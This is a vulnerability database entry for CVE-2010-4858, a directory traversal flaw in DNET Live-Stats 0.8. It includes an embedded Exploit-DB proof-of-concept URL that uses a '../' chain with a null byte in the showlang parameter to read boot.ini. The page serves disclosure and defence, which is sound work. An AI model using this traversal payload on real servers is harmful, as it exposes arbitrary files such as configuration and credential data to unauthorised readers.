CVE-2010-4858

medium
Published 2011-10-05 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
6.0

Description

Directory traversal vulnerability in team.rc5-72.php in DNET Live-Stats 0.8 allows remote attackers to read arbitrary files via a .. (dot dot) in the showlang parameter.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-15204 webapps php verified text ยท 1 KB
blake ยท 2010-10-04

DNET Live-Stats 0.8 - Local File Inclusion

text exploit Source: Exploit-DB
# Exploit Title: DNET Live-Stats 0.8 Local File Inclusion
# Date: 10-04-10
# Author: Blake
# Software Link: http://sourceforge.net/projects/dnetlivestats/files/0.8/dnet-live-stats-0.8-rc8.zip/download
# Version: 0.8 rc8
# Tested on: Windows XP SP3 running xampp lite

The showlang parameter does not properly sanitize user input.

POC:
http://127.0.0.1/dnet/team.rc5-72.php?showlang=../../../../../../../../../../../../boot.ini%00

Application impact

VendorProductVersionsFixed
joerg_rissednet_live-stats0.8

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.